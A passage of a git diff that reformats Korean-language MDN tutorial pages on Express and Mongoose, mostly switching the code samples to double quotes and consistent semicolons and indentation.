-      "license": "ISC",
-      "dependencies": {
-        "express": "^4.16.4"
-      }
-    }
-    ```
+   ```
+
+   The dependencies section of your **package.json** will now appear at the end of the **package.json** file and will include _Express_.
+
+   ```json
+   {
+     "name": "myapp",
+     "version": "1.0.0",
+     "description": "",
+     "main": "index.js",
+     "scripts": {
+       "test": "echo \"Error: no test specified\" && exit 1"
+     },
+     "author": "",
+     "license": "ISC",
+     "dependencies": {
+       "express": "^4.16.4"
+     }
+   }
+   ```
 
 4. To use the Express library you call the `require()` function in your index.js file to include it in your application. Create this file now, in the root of the "myapp" application directory, and give it the following contents:
 
-    ```js
-    const express = require('express')
-    const app = express();
+   ```js
+   const express = require("express");
+   const app = express();
 
-    app.get('/', (req, res) => {
-      res.send('Hello World!')
-    });
+   app.get("/", (req, res) => {
+     res.send("Hello World!");
+   });
 
-    app.listen(8000, () => {
-      console.log('Example app listening on port 8000!')
-    });
-    ```
+   app.listen(8000, () => {
+     console.log("Example app listening on port 8000!");
+   });
+   ```
 
-    This code shows a minimal "HelloWorld" Express web application. This imports the "express" module using `require()` and uses it to create a server (`app`) that listens for HTTP requests on port 8000 and prints a message to the console explaining what browser URL you can use to test the server. The `app.get()` function only responds to HTTP `GET` requests with the specified URL path ('/'), in this case by calling a function to send our _Hello World!_ message.
+   This code shows a minimal "HelloWorld" Express web application. This imports the "express" module using `require()` and uses it to create a server (`app`) that listens for HTTP requests on port 8000 and prints a message to the console explaining what browser URL you can use to test the server. The `app.get()` function only responds to HTTP `GET` requests with the specified URL path ('/'), in this case by calling a function to send our _Hello World!_ message.
 
 5. You can start the server by calling node with the script in your command prompt:
 
-    ```bash
-    >node index.js
-    Example app listening on port 8000
-    ```
+   ```bash
+   >node index.js
+   Example app listening on port 8000
+   ```
 
 6. Navigate to the URL (<http://127.0.0.1:8000/>). If everything is working, the browser should simply display the string "Hello World!".
 
diff --git a/files/ko/learn/server-side/express_nodejs/index.md b/files/ko/learn/server-side/express_nodejs/index.md
index e6b748afce12ff..f8dbf164fb8e10 100644
--- a/files/ko/learn/server-side/express_nodejs/index.md
+++ b/files/ko/learn/server-side/express_nodejs/index.md
@@ -2,6 +2,7 @@
 title: Express 웹 프레임워크 (Node.js/JavaScript의 활용)
 slug: Learn/Server-side/Express_Nodejs
 ---
+
 {{LearnSidebar}}
 
 Express는 JavaScript로 작성되고 Node.js 런타임 환경에서 구동되는 인기 있는 웹 프레임워크입니다. 이 장에서는 Express 프레임워크의 몇 가지 장점과 개발환경 설치 방법, 웹 개발과 배포작업의 방법을 다룹니다.
diff --git a/files/ko/learn/server-side/express_nodejs/introduction/index.md b/files/ko/learn/server-side/express_nodejs/introduction/index.md
index 784f1f29da46d0..ef687cd859052b 100644
--- a/files/ko/learn/server-side/express_nodejs/introduction/index.md
+++ b/files/ko/learn/server-side/express_nodejs/introduction/index.md
@@ -2,6 +2,7 @@
 title: Express/Node 소개
 slug: Learn/Server-side/Express_Nodejs/Introduction
 ---
+
 {{LearnSidebar}}{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}
 
 첫번째 Express 수업에서는 Node, Express를 알아보고, Express 웹 프레임워크 제작의 전반에 대해 배우게 됩니다.
@@ -51,7 +52,7 @@ slug: Learn/Server-side/Express_Nodejs/Introduction
 이렇게하면 웹 서버가 만들어지고 URL `http://127.0.0.1:8000/` 에 있는 모든 종류의 HTTP 요청에 수신하게 됩니다. 요청이 하나 들어왔을 때, "Hello World" 텍스트 응답을 보내도록 하겠습니다.
 
 1. 터미널을 연다. (윈도우에서는, 커맨드라인 유틸리티)
-    ※ 윈도우 키 + R => 'CMD'
+   ※ 윈도우 키 + R => 'CMD'
 2. 프로그램을 저장할 폴더를 생성하고(여기서는 `test-node`), 아래 명령을 입력하여 해당 폴더로 이동한다.
 
 ```
@@ -65,17 +66,18 @@ cd test-node
 var http = require("http");
 
 //Create HTTP server and listen on port 8000 for requests
-http.createServer(function (request, response) {
-
-   // Set the response HTTP header with HTTP status and Content type
-   response.writeHead(200, {'Content-Type': 'text/plain'});
+http
+  .createServer(function (request, response) {
+    // Set the response HTTP header with HTTP status and Content type
+    response.writeHead(200, { "Content-Type": "text/plain" });
 
-   // Send the response body "Hello World"
-   response.end('Hello World\n');
-}).listen(8000);
+    // Send the response body "Hello World"
+    response.end("Hello World\n");
+  })
+  .listen(8000);
 
 // Print URL for accessing server
-console.log('Server running at http://127.0.0.1:8000/')
+console.log("Server running at http://127.0.0.1:8000/");
 ```
 
 4\. 터미널로 돌아가 아래 명령을 입력한다.
@@ -138,15 +140,15 @@ First lets consider the standard Express [Hello World](https://expressjs.com/en/
 > **참고:** **Tip:** If you have Node and Express already installed (or if you install them as shown in the [next article](/ko/docs/Learn/Server-side/Express_Nodejs/development_environment)), you can save this code in a file called **app.js** and run it in a command prompt by calling `node app.js`.
 
 ```js
-var express = require('express');
+var express = require("express");
 var app = express();
 
-app.get('/', function (req, res) {
-  res.send('Hello World!');
+app.get("/", function (req, res) {
+  res.send("Hello World!");
 });
 
 app.listen(3000, function () {
-  console.log('Example app listening on port 3000!');
+  console.log("Example app listening on port 3000!");
 });
 ```
 
@@ -163,7 +165,7 @@ A module is a JavaScript library/file that you can import into other code using
 The code below shows how we import a module by name, using the _Express_ framework as an example. First we invoke the `require()` function, specifying the name of the module as a string (`'express'`), and calling the returned object to create an [Express application](https://expressjs.com/en/4x/api.html#app). We can then access the properties and functions of the application object.
 
 ```js
-var express = require('express');
+var express = require("express");
 var app = express();
 ```
 
@@ -174,15 +176,19 @@ You can also create your own modules that can be imported in the same way.
 To make objects available outside of a module you just need to assign them to the `exports` object. For example, the **square.js** module below is a file that exports `area()` and `perimeter()` methods:
 
 ```js
-exports.area = function (width) { return width * width; };
-exports.perimeter = function (width) { return 4 * width; };
+exports.area = function (width) {
+  return width * width;
+};
+exports.perimeter = function (width) {
+  return 4 * width;
+};
 ```
 
 We can import this module using `require()`, and then call the exported method(s) as shown:
 
 ```js
-var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension
-console.log('The area of a square with a width of 4 is ' + square.area(4));
+var square = require("./square"); // Here we require() the name of the file without the (optional) .js file extension
+console.log("The area of a square with a width of 4 is " + square.area(4));
 ```
 
 > **참고:** You can also specify an absolute path to the module (or a name, as we did initially).
@@ -191,13 +197,13 @@ If you want to export a complete object in one assignment instead of building it
 
 ```js
 module.exports = {
-  area: function(width) {
+  area: function (width) {
     return width * width;
   },
 
-  perimeter: function(width) {
+  perimeter: function (width) {
     return 4 * width;
-  }
+  },
 };
 ```
 
@@ -208,17 +214,17 @@ For a lot more information about modules see [Modules](https://nodejs.org/api/mo
 JavaScript 코드는 완료까지 시간이 다소 소요될 수 있는 작업에 대해 동기보다 비동기 API를 자주 사용합니다. 동기 API는 다음 작업이 시작하기 전에 각 작업이 완료되어야만 합니다. 예를 들어, 다음의 로그함수들은 동기식이며 텍스트를 순서대로 콘솔에 나타낼 것입니다.(First, Second)
 
 ```js
-console.log('First');
-console.log('Second');
+console.log("First");
+console.log("Second");
 ```
 
 반면 비동기 API는 API가 작업을 시작하고, 즉시 반환(작업이 완료되기 전에)합니다. 작업이 완료되면 API는 추가적인 작업 수행을 위한 일부 매커니즘을 사용합니다. 예를 들어 아래의 코드는 "Second, First"를 출력합니다. 그 이유는 `setTimeout()` 메서드가 먼저 호출되고 즉시 반환되더라도, 작업이 몇 초 동안 완료되지 않기 때문입니다.
 
 ```js
-setTimeout(function() {
-   console.log('First');
-   }, 3000);
-console.log('Second');
+setTimeout(function () {
+  console.log("First");
+}, 3000);
+console.log("Second");
 ```
 
 Node는 싱글 스레드 이벤트 기반 환경이기 때문에 non-blocking 비동기 API는 브라우저보다 Node에서 훨씬 더 중요합니다.
@@ -236,8 +242,8 @@ Node는 싱글 스레드 이벤트 기반 환경이기 때문에 non-blocking 
 In our _Hello World_ Express example see above we defined a (callback) route handler function for HTTP `GET` requests to the site root (`'/'`).
 
 ```js
-app.get('/', function (req, res) {
-  res.send('Hello World!');
+app.get("/", function (req, res) {
+  res.send("Hello World!");
 });
 ```
 
@@ -250,10 +256,10 @@ The _Express application_ object also provides methods to define route handlers
 There is a special routing method, `app.all()`, which will be called in response to any HTTP method. This is used for loading middleware functions at a particular path for all request methods. The following example (from the Express documentation) shows a handler that will be executed for requests to `/secret` irrespective of the HTTP verb used (provided it is supported by the [http module](https://nodejs.org/api/http.html#http_http_methods)).
 
 ```js
-app.all('/secret', function (req, res, next) {
-  console.log('Accessing the secret section ...')
-  next() // pass control to the next handler
-})
+app.all("/secret", function (req, res, next) {
+  console.log("Accessing the secret section ...");
+  next(); // pass control to the next handler
+});
 ```
 
 Routes allow you to match particular patterns of characters in a URL, and extract some values from the URL and pass them as parameters to the route handler (as attributes of the request object passed as a parameter).
@@ -263,20 +269,20 @@ Often it is useful to group route handlers for a particular part of a site toget
 ```js
 // wiki.js - Wiki route module
 
-var express = require('express')
-var router = express.Router()
+var express = require("express");
+var router = express.Router();
 
 // Home page route
-router.get('/', function (req, res) {
-  res.send('Wiki home page')
-})
+router.get("/", function (req, res) {
+  res.send("Wiki home page");
+});
 
 // About page route
-router.get('/about', function (req, res) {
-  res.send('About this wiki')
-})
+router.get("/about", function (req, res) {
+  res.send("About this wiki");
+});
 
-module.exports = router
+module.exports = router;
 ```
 
 > **참고:** Adding routes to the `Router` object is just like adding routes to the `app` object (as shown previously).
@@ -284,9 +290,9 @@ module.exports = router
 To use the router in our main app file we would then `require()` the route module (**wiki.js**), then call `use()` on the _Express_ application to add the Router to the middleware handling path. The two routes will then be accessible from `/wiki/` and `/wiki/about/`.
 
 ```js
-var wiki = require('./wiki.js')
+var wiki = require("./wiki.js");
 // ...
-app.use('/wiki', wiki)
+app.use("/wiki", wiki);
 ```
 
 We'll show you a lot more about working with routes, and in particular about using the `Router`, later on in the linked section [Routes and controllers](/ko/docs/Learn/Server-side/Express_Nodejs/routes).
@@ -324,25 +330,25 @@ app.use(logger('dev'));
 아래의 예제는 두 가지 방법을 사용하고, 경로를 사용하거나 사용하지 않고 미들웨어 기능을 추가하는 방법을 보여줍니다.
 
 ```js
-var express = require('express')
-var app = express()
+var express = require("express");
+var app = express();
 
 // An example middleware function
-var a_middleware_function = function(req, res, next) {
+var a_middleware_function = function (req, res, next) {
   //... perform some operations
   next(); //Call next() so Express will call the next middleware function in the chain.
-}
+};
 
 // Function added with use() for all routes and verbs
-app.use(a_middleware_function)
+app.use(a_middleware_function);
 
 //Function added with use() for a specific route
-app.use('/someroute', a_middleware_function)
+app.use("/someroute", a_middleware_function);
 
 // A middleware function added for a specific HTTP verb and route
-app.get('/', a_middleware_function )
+app.get("/", a_middleware_function);
 
-app.listen(3000)
+app.listen(3000);
 ```
 
 > **참고:** **JavaScript Tip:** 위에서 우리는 미들웨어 함수를 별도로 선언 한 다음 그것을 콜백으로 설정합니다. 이전 라우트 핸들러 함수에서는 우리는 콜백 함수가 사용될 때 선언했습니다. JavaScript에서는 두 방법 모두 유효합니다.
@@ -354,7 +360,7 @@ Express 공식 문서에는 Express 미들웨어 [사용](https://expressjs.com/
 You can use the [express.static](http://expressjs.com/en/4x/api.html#express.static) middleware to serve static files, including your images, CSS and JavaScript (`static()` is the only middleware function that is actually **part** of _Express_). For example, you would use the line below to serve images, CSS files, and JavaScript files from a directory named '**public'** at the same level as where you call node:
 
 ```js
-app.use(express.static('public'))
+app.use(express.static("public"));
 ```
 
 Any files in the public directory are served by adding their filename (_relative_ to the base "public" directory) to the base URL. So for example:
@@ -369,14 +375,14 @@ http://localhost:3000/about.html
 You can call `static()` multiple times to serve multiple directories. If a file cannot be found by one middleware function then it will simply be passed on to the subsequent middleware (the order that middleware is called is based on your declaration order).
 
 ```js
-app.use(express.static('public'))
-app.use(express.static('media'))
+app.use(express.static("public"));
+app.use(express.static("media"));
 ```
 
 You can also create a virtual prefix for your static URLs, rather than having the files added to the base URL. For example, here we [specify a mount path](http://expressjs.com/en/4x/api.html#app.use) so that the files are loaded with the prefix "/media":
 
 ```js
-app.use('/media', express.static('public'))
+app.use("/media", express.static("public"));
 ```
 
 Now, you can load the files that are in the `public` directory from the `/media` path prefix.
@@ -395,9 +401,9 @@ Errors are handled by one or more special middleware functions that have four ar
 
 ```js
 app.use(function (err, req, res, next) {
-  console.error(err.stack)
-  res.status(500).send('Something broke!')
-})
+  console.error(err.stack);
+  res.status(500).send("Something broke!");
+});
 ```
 
 These can return any content required, but must be called after all other `app.use()` and routes calls so that they are the last middleware in the request handling process!
@@ -423,17 +429,19 @@ npm install mongodb
 The database itself can be installed locally or on a cloud server. In your Express code you require the driver, connect to the database, and then perform create, read, update, and delete (CRUD) operations. The example below (from the Express documentation) shows how you can find "mammal" records using MongoDB.
 
 ```js
-var MongoClient = require('mongodb').MongoClient
+var MongoClient = require("mongodb").MongoClient;
 
-MongoClient.connect('mongodb://localhost:27017/animals', function (err, db) {
-  if (err) throw err
+MongoClient.connect("mongodb://localhost:27017/animals", function (err, db) {
+  if (err) throw err;
 
-  db.collection('mammals').find().toArray(function (err, result) {
-    if (err) throw err
+  db.collection("mammals")
+    .find()
+    .toArray(function (err, result) {
+      if (err) throw err;
 
-    console.log(result)
-  })
-})
+      console.log(result);
+    });
+});
 ```
 
 Another popular approach is to access your database indirectly, via an Object Relational Mapper ("ORM"). In this approach you define your data as "objects" or "models" and the ORM maps these through to the underlying database format. This approach has the benefit that as a developer you can continue to think in terms of JavaScript objects rather than database semantics, and that there is an obvious place to perform validation and checking of incoming data. We'll talk more about databases in a later article.
@@ -447,22 +455,22 @@ Template engines (referred to as "view engines" by _Express_) allow you to speci
 In your application settings code you set the template engine to use and the location where Express should look for templates using the 'views' and 'view engines' settings, as shown below (you will also have to install the package containing your template library too!)
 
 ```js
-var express = require('express');
+var express = require("express");
 var app = express();
 
 // Set directory to contain the templates ('views')
-app.set('views', path.join(__dirname, 'views'));
+app.set("views", path.join(__dirname, "views"));
 
 // Set view engine to use, in this case 'some_template_engine_name'
-app.set('view engine', 'some_template_engine_name');
+app.set("view engine", "some_template_engine_name");
 ```
 
 The appearance of the template will depend on what engine you use. Assuming that you have a template file named "index.\<template_extension>" that contains placeholders for data variables named 'title' and "message", you would call [`Response.render()`](http://expressjs.com/en/4x/api.html#res.render) in a route handler function to create and send the HTML response:
 
 ```js
-app.get('/', function (req, res) {
-  res.render('index', { title: 'About dogs', message: 'Dogs rock!' })
-})
+app.get("/", function (req, res) {
+  res.render("index", { title: "About dogs", message: "Dogs rock!" });
+});
 ```
 
 For more information see [Using template engines with Express](http://expressjs.com/en/guide/using-template-engines.html) (Express docs).
diff --git a/files/ko/learn/server-side/express_nodejs/mongoose/index.md b/files/ko/learn/server-side/express_nodejs/mongoose/index.md
index a88ad0d29d0619..5058eddd29a205 100644
--- a/files/ko/learn/server-side/express_nodejs/mongoose/index.md
+++ b/files/ko/learn/server-side/express_nodejs/mongoose/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Express Tutorial Part 3: Using a Database (with Mongoose)'
+title: "Express Tutorial Part 3: Using a Database (with Mongoose)"
 slug: Learn/Server-side/Express_Nodejs/mongoose
 ---
 
@@ -65,7 +65,7 @@ NPM 패키지 매니저 사이트에는 사용가능한 많은 ODM/ORM 솔루션
 
 ### Using Mongoose and MongoDb for the LocalLibrary
 
-For the _Local Library_ example (and the rest of this topic) we're going to use the [Mongoose ODM](https://www.npmjs.com/package/mongoose) to access our library data. Mongoose acts as a front end to [MongoDB](https://www.mongodb.com/what-is-mongodb), an open source [NoSQL](https://en.wikipedia.org/wiki/NoSQL) database that uses a document-oriented data model. A “collection” of “documents”, in a MongoDB database, [is analogous to](https://docs.mongodb.com/manual/core/databases-and-collections/#collections) a “table” of “rows” in a relational database.
+For the _Local Library_ example (and the rest of this topic) we're going to use the [Mongoose ODM](https://www.npmjs.com/package/mongoose) to access our library data. Mongoose acts as a front end to [MongoDB](https://www.mongodb.com/what-is-mongodb), an open source [NoSQL](https://en.wikipedia.org/wiki/NoSQL) database that uses a document-oriented data model. A "collection" of "documents", in a MongoDB database, [is analogous to](https://docs.mongodb.com/manual/core/databases-and-collections/#collections) a "table" of "rows" in a relational database.
 
 This ODM and database combination is extremely popular in the Node community, partially because the document storage and query system looks very much like JSON, and is hence familiar to JavaScript developers.
 
@@ -119,10 +119,10 @@ _Mongoose_ requires a connection to a MongoDB database. You can `require()` and
 
 ```js
 //Import the mongoose module
-var mongoose = require('mongoose');
+var mongoose = require("mongoose");
 
 //Set up default mongoose connection
-var mongoDB = 'mongodb://127.0.0.1/my_database';
+var mongoDB = "mongodb://127.0.0.1/my_database";
 mongoose.connect(mongoDB);
 // Get Mongoose to use the global promise library
 mongoose.Promise = global.Promise;
@@ -130,7 +130,7 @@ mongoose.Promise = global.Promise;
 var db = mongoose.connection;
 
 //Bind connection to error event (to get notification of connection errors)
-db.on('error', console.error.bind(console, 'MongoDB connection error:'));
+db.on("error", console.error.bind(console, "MongoDB connection error:"));
 ```
 
 You can get the default `Connection` object with `mongoose.connection`. Once connected, the open event is fired on the `Connection` instance.
@@ -151,14 +151,14 @@ The code fragment below shows how you might define a simple schema. First you `r
 
 ```js
 //Require Mongoose
-var mongoose = require('mongoose');
+var mongoose = require("mongoose");
 
 //Define a schema
 var Schema = mongoose.Schema;
 
 var SomeModelSchema = new Schema({
-    a_string: String,
-    a_date: Date
+  a_string: String,
+  a_date: Date,
 });
 ```
 
@@ -173,12 +173,12 @@ Models are created from schemas using the `mongoose.model()` method:
 var Schema = mongoose.Schema;
 
 var SomeModelSchema = new Schema({
-    a_string: String,
-    a_date: Date
+  a_string: String,
+  a_date: Date,
 });
 
 // Compile model from schema
-var SomeModel = mongoose.model('SomeModel', SomeModelSchema );
+var SomeModel = mongoose.model("SomeModel", SomeModelSchema);
 ```
 
 The first argument is the singular name of the collection that will be created for your model (Mongoose will create the database collection for the above model _SomeModel_ above), and the second argument is the schema you want to use in creating the model.
@@ -190,8 +190,7 @@ The first argument is the singular name of the collection that will be created f
 한 스키마는 임의의 숫자의 필드들을 가질 수 있습니다.(각각의 필드는 MongoDB에 저장된 문서의 필드를 대표합니다.) 아래의 예제 스키마는 일반적인 필드 타입들을 보여주고 있으며 그들이 어떻게 선언되는지 나타냅니다.
 
 ```js
-var schema = new Schema(
-{
+var schema = new Schema({
   name: String,
   binary: Buffer,
   living: Boolean,
@@ -201,11 +200,11 @@ var schema = new Schema(
   _someId: Schema.Types.ObjectId,
   array: [],
   ofString: [String], // You can also have an array of each of the other types too.
-  nested: { stuff: { type: String, lowercase: true, trim: true } }
-})
+  nested: { stuff: { type: String, lowercase: true, trim: true } },
+});
 ```
 
-Most of the [SchemaTypes](http://mongoosejs.com/docs/schematypes.html) (the descriptors after “type:” or after field names) are self explanatory. The exceptions are:
+Most of the [SchemaTypes](http://mongoosejs.com/docs/schematypes.html) (the descriptors after "type:" or after field names) are self explanatory. The exceptions are:
 
 - `ObjectId`: Represents specific instances of a model in the database. For example, a book might use this to represent its author object. This will actually contain the unique ID (`_id`) for the specified object. We can use the `populate()` method to pull in the associated information when needed.
 - [Mixed](http://mongoosejs.com/docs/schematypes.html#mixed): 임의의 스키마 타입입니다.(어떤 타입도 될 수 있음)
@@ -281,7 +280,7 @@ To create a record you can define an instance of the model and then call `save()
 
 ```js
 // Create an instance of model SomeModel
-var awesome_instance = new SomeModel({ name: 'awesome' });
+var awesome_instance = new SomeModel({ name: "awesome" });
 
 // Save the new model instance, passing a callback
 awesome_instance.save(function (err) {
@@ -295,7 +294,7 @@ Creation of records (along with updates, deletes, and queries) are asynchronous
 You can also use `create()` to define the model instance at the same time as you save it. The callback will return an error for the first argument and the newly-created model instance for the second argument.
 
 ```js
-SomeModel.create({ name: 'also_awesome' }, function (err, awesome_instance) {
+SomeModel.create({ name: "also_awesome" }, function (err, awesome_instance) {
   if (err) return handleError(err);
   // saved!
 });
@@ -310,10 +309,10 @@ You can access the fields in this new record using the dot syntax, and change th
 console.log(awesome_instance.name); //should log 'also_awesome'
 
 // Change record by modifying the fields, then calling save().
-awesome_instance.name="New cool name";
+awesome_instance.name = "New cool name";
 awesome_instance.save(function (err) {
-   if (err) return handleError(err); // saved!
-   });
+  if (err) return handleError(err); // saved!
+});
 ```
 
 #### Searching for records
@@ -321,13 +320,13 @@ awesome_instance.save(function (err) {
 You can search for records using query methods, specifying the query conditions as a JSON document. The code fragment below shows how you might find all athletes in a database that play tennis, returning just the fields for athlete _name_ and _age_. Here we just specify one matching field (sport) but you can add more criteria, specify regular expression criteria, or remove the conditions altogether to return all athletes.
 
 ```js
-var Athlete = mongoose.model('Athlete', yourSchema);
+var Athlete = mongoose.model("Athlete", yourSchema);
 
 // find all athletes who play tennis, selecting the 'name' and 'age' fields
-Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) {
+Athlete.find({ sport: "Tennis" }, "name age", function (err, athletes) {
   if (err) return handleError(err);
   // 'athletes' contains the list of athletes that match the criteria.
-})
+});
 ```
 
 If you specify a callback, as shown above, the query will execute immediately. The callback will be invoked when the search completes.
@@ -338,10 +337,10 @@ If you don't specify a callback then the API will return a variable of type [Que
 
 ```js
 // find all athletes that play tennis
-var query = Athlete.find({ 'sport': 'Tennis' });
+var query = Athlete.find({ sport: "Tennis" });
 
 // selecting the 'name' and 'age' fields
-query.select('name age');
+query.select("name age");
 
 // limit our results to 5 items
 query.limit(5);
@@ -353,7 +352,7 @@ query.sort({ age: -1 });
 query.exec(function (err, athletes) {
   if (err) return handleError(err);
   // athletes contains an ordered list of 5 athletes who play Tennis
-})
+});
 ```
 
 Above we've defined the query conditions in the `find()` method. We can also do this using a `where()` function, and we can chain all the parts of our query together using the dot operator (.) rather than adding them separately. The code fragment below is the same as our query above, with an additional condition for the age.
@@ -386,27 +385,27 @@ You can create references from one document/model instance to another using the
 For example, the following schema defines authors and stories. Each author can have multiple stories, which we represent as an array of `ObjectId`. Each story can have a single author. The "ref" (highlighted in bold below) tells the schema which model can be assigned to this field.
 
 ```js
-var mongoose = require('mongoose')
-  , Schema = mongoose.Schema
+var mongoose = require("mongoose"),
+  Schema = mongoose.Schema;
 
 var authorSchema = Schema({
-  name    : String,
-  stories : [{ type: Schema.Types.ObjectId, ref: 'Story' }]
+  name: String,
+  stories: [{ type: Schema.Types.ObjectId, ref: "Story" }],
 });
 
 var storySchema = Schema({
-  author : { type: Schema.Types.ObjectId, ref: 'Author' },
-  title    : String
+  author: { type: Schema.Types.ObjectId, ref: "Author" },
+  title: String,
 });
 
-var Story  = mongoose.model('Story', storySchema);
-var Author = mongoose.model('Author', authorSchema);
+var Story = mongoose.model("Story", storySchema);
+var Author = mongoose.model("Author", authorSchema);
 ```
 
 We can save our references to the related document by assigning the `_id` value. Below we create an author, then a book, and assign the author id to our stories author field.
 
 ```js
-var bob = new Author({ name: 'Bob Smith' });
+var bob = new Author({ name: "Bob Smith" });
 
 bob.save(function (err) {
   if (err) return handleError(err);
@@ -414,7 +413,7 @@ bob.save(function (err) {
   //Bob now exists, so lets create a story
   var story = new Story({
     title: "Bob goes sledding",
-    author: bob._id    // assign the _id from the our author Bob. This ID is created by default!
+    author: bob._id, // assign the _id from the our author Bob. This ID is created by default!
   });
 
   story.save(function (err) {
@@ -427,14 +426,13 @@ bob.save(function (err) {
 Our story document now has an author referenced by the author document's ID. In order to get the author information in our story results we use `populate()`, as shown below.
 
 ```js
-Story
-.findOne({ title: 'Bob goes sledding' })
-.populate('author') //This populates the author id with actual author information!
-.exec(function (err, story) {
-  if (err) return handleError(err);
-  console.log('The author is %s', story.author.name);
-  // prints "The author is Bob Smith"
-});
+Story.findOne({ title: "Bob goes sledding" })
+  .populate("author") //This populates the author id with actual author information!
+  .exec(function (err, story) {
+    if (err) return handleError(err);
+    console.log("The author is %s", story.author.name);
+    // prints "The author is Bob Smith"
+  });
 ```
 
 > **참고:** Astute readers will have noted that we added an author to our story, but we didn't do anything to add our story to our author's `stories` array. How then can we get all stories by a particular author? One way would be to add our author to the stories array, but this would result in us having two places where the information relating authors and stories needs to be maintained.
@@ -442,9 +440,7 @@ Story
 > A better way is to get the `_id` of our _author_, then use `find()` to search for this in the author field across all stories.
 >
 > ```js
-> Story
-> .find({ author : bob._id })
-> .exec(function (err, stories) {
+> Story.find({ author: bob._id }).exec(function (err, stories) {
 >   if (err) return handleError(err);
 >   // returns all stories that have Bob's id as their author.
 > });
@@ -460,25 +456,25 @@ While you can create schemas and models using any file structure you like, we hi
 // File: ./models/somemodel.js
 
 //Require Mongoose
-var mongoose = require('mongoose');
+var mongoose = require("mongoose");
 
 //Define a schema
 var Schema = mongoose.Schema;
 
 var SomeModelSchema = new Schema({
-    a_string          : String,
-    a_date            : Date,
+  a_string: String,
+  a_date: Date,
 });
 
 //Export function to create "SomeModel" model class
-module.exports = mongoose.model('SomeModel', SomeModelSchema );
+module.exports = mongoose.model("SomeModel", SomeModelSchema);
 ```
 
 You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.
 
 ```js
 //Create a SomeModel model just by requiring the module
-var SomeModel = require('../models/somemodel')
+var SomeModel = require("../models/somemodel");
 
 // Use the SomeModel object (model) to find all SomeModel records
 SomeModel.find(callback_function);
@@ -498,36 +494,36 @@ After logging in, you'll be taken to the [home](https://mlab.com/home) screen:
 
 1. Click **Create New** in the _MongoDB Deployments_ section.![](mlabcreatenewdeployment.png)
 2. This will open the _Cloud Provider Selection_ screen.
-    ![MLab - screen for new deployment](mlab_new_deployment_form_v2.png)
+   ![MLab - screen for new deployment](mlab_new_deployment_form_v2.png)
 
-    - Select the SANDBOX (Free) plan from the Plan Type section.
-    - Select any provider from the _Cloud Provider_ section. Different providers offer different regions (displayed below the selected plan type).
-    - Click the **Continue** button.
+   - Select the SANDBOX (Free) plan from the Plan Type section.
+   - Select any provider from the _Cloud Provider_ section. Different providers offer different regions (displayed below the selected plan type).
+   - Click the **Continue** button.
 
 3. This will open the _Select Region_ screen.
 
-    ![Select new region screen](mlab_new_deployment_select_region_v2.png)
+   ![Select new region screen](mlab_new_deployment_select_region_v2.png)
 
-    - Select the region closest to you and then **Continue**.
+   - Select the region closest to you and then **Continue**.
 
 4. This will open the _Final Details_ screen.
-    ![New deployment database name](mlab_new_deployment_final_details.png)
+   ![New deployment database name](mlab_new_deployment_final_details.png)
 
-    - Enter the name for the new database as `local_library` and then select **Continue**.
+   - Enter the name for the new database as `local_library` and then select **Continue**.
 
 5. This will open the _Order Confirmation_ screen.
-    ![Order confirmation screen](mlab_new_deployment_order_confirmation.png)
+   ![Order confirmation screen](mlab_new_deployment_order_confirmation.png)
 
-    - Click **Submit Order** to create the database.
+   - Click **Submit Order** to create the database.
 
 6. You will be returned to the home screen. Click on the new database you just created to open its details screen. As you can see the database has no collections (data).
-    ![mLab - Database details screen](mlab_new_deployment_database_details.png)
+   ![mLab - Database details screen](mlab_new_deployment_database_details.png)
 
-    The URL that you need to use to access your database is displayed on the form above (shown for this database circled above). In order to use this you need to create a database user that you can specify in the URL.
+   The URL that you need to use to access your database is displayed on the form above (shown for this database circled above). In order to use this you need to create a database user that you can specify in the URL.
 
 7. Click the **Users** tab and select the **Add database user** button.
 8. Enter a username and password (twice), and then press **Create**. Do not select _Make read only_.
-    ![](mlab_database_users.png)
+   ![](mlab_database_users.png)
 
 You now have now created the database, and have an URL (with username and password) that can be used to access it. This will look something like: `mongodb://your_user_namer:your_password@ds119748.mlab.com:19748/local_library`.
 
@@ -545,12 +541,12 @@ Open **/app.js** (in the root of your project) and copy the following text below
 
 ```js
 //Set up mongoose connection
-var mongoose = require('mongoose');
-var mongoDB = 'insert_your_database_url_here';
+var mongoose = require("mongoose");
+var mongoDB = "insert_your_database_url_here";
 mongoose.connect(mongoDB);
 mongoose.Promise = global.Promise;
 var db = mongoose.connection;
-db.on('error', console.error.bind(console, 'MongoDB connection error:'));
+db.on("error", console.error.bind(console, "MongoDB connection error:"));
 ```
 
 As discussed [in the Mongoose primer above](#Connecting_to_MongoDB), this code creates the default connection to the database and binds to the error event (so that errors will be printed to the console).
@@ -573,35 +569,29 @@ We will define a separate module for each model, as [discussed above](#One_schem
 Copy the `Author` schema code shown below and paste it into your **./models/author.js** file. The scheme defines an author has having `String` SchemaTypes for the first and family names, that are required and have a maximum of 100 characters, and `Date` fields for the date of birth and death.
 
 ```js
-var mongoose = require('mongoose');
+var mongoose = require("mongoose");
 
 var Schema = mongoose.Schema;
 
-var AuthorSchema = new Schema(
-  {
-    first_name: {type: String, required: true, max: 100},
-    family_name: {type: String, required: true, max: 100},
-    date_of_birth: {type: Date},
-    date_of_death: {type: Date},
-  }
-);
+var AuthorSchema = new Schema({
+  first_name: { type: String, required: true, max: 100 },
+  family_name: { type: String, required: true, max: 100 },
+  date_of_birth: { type: Date },
+  date_of_death: { type: Date },
+});
 
 // Virtual for author's full name
-AuthorSchema
-.virtual('name')
-.get(function () {
-  return this.family_name + ', ' + this.first_name;
+AuthorSchema.virtual("name").get(function () {
+  return this.family_name + ", " + this.first_name;
 });
 
 // Virtual for author's URL
-AuthorSchema
-.virtual('url')
-.get(function () {
-  return '/catalog/author/' + this._id;
+AuthorSchema.virtual("url").get(function () {
+  return "/catalog/author/" + this._id;
 });
 
 //Export model
-module.exports = mongoose.model('Author', AuthorSchema);
+module.exports = mongoose.model("Author", AuthorSchema);
 ```
 
 We've also declared a [virtual](#Virtual_properties) for the AuthorSchema named "url" that returns the absolute URL required to get a particular instance of the model — we'll use the property in our templates whenever we need to get a link to a particular author.
@@ -616,29 +606,25 @@ At the end of the module we export the model.
 Copy the `Book` schema code shown below and paste it into your **./models/book.js** file. Most of this is similar to the author model — we've declared a schema with a number of string fields and a virtual for getting the URL of specific book records, and we've exported the model.
